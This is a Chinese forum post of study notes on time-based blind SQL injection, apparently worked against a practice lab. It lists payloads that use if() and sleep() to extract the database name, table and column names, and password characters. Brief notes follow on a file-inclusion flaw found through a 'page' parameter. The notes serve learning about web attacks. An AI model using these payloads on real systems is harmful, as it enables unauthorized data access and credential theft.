|
楼主 |
发表于 2020-7-14 00:18:17
|
显示全部楼层
时间注入原理:通过页面的延迟时间来判断是否注入成功。需要注意的是,时间注入返回的页面信息一样是没有回显错误的页面,我们只是根据页面延迟时间来进行猜测判断。
相关函数
sleep() if()
select if (5<4,1,3) 如果正确 1 不正确 3
根据源代码,不管是否出错 都显示 You are in......
?id=1' and if(3<5,sleep(10),0)--+ 如果等待了10秒 3>5没显示延迟就存在注入
原理和之前类似 方法有些不同 语句改成if语句
?id=1' and if(length(database())<10,0,sleep(10))--+ 如果database语句小于10 就直接显示 否则延迟10秒
?id=1' and if(length(database())<5,0,sleep(10))--+
?id=1' and if(length(database())=8,0,sleep(10))--+
猜表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>120,0,sleep(10))--+\
猜列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<120,0,sleep(5))--+
猜数据
?id=1' and if(ascii(substr(( select password from users limit 0,1),1,1))<50,0,sleep(5))--+
?id=1' and if(ascii(substr(( select password from users limit 0,1),1,1))=68,0,sleep(5))--+
文件包含 网络教程
分别点开 三个链接查看 发现
page后面是变量 这个参数可以利用和修改
修改为text.php发现找不到文件
显示了文件找不到这个文件,也表示了这个地方可以利用,同时我们还有个以外的收获,爆出了这个web的绝对路径,后面能利用到
xxx.php
之前是file1.php、file2.php、file3.php
肯定是在一个目录里,而这个目录加上文件名形成了绝对路径
就相当于我们前面提到的include()
前面的是固定字段 而xxx.php是我们可控的
|
|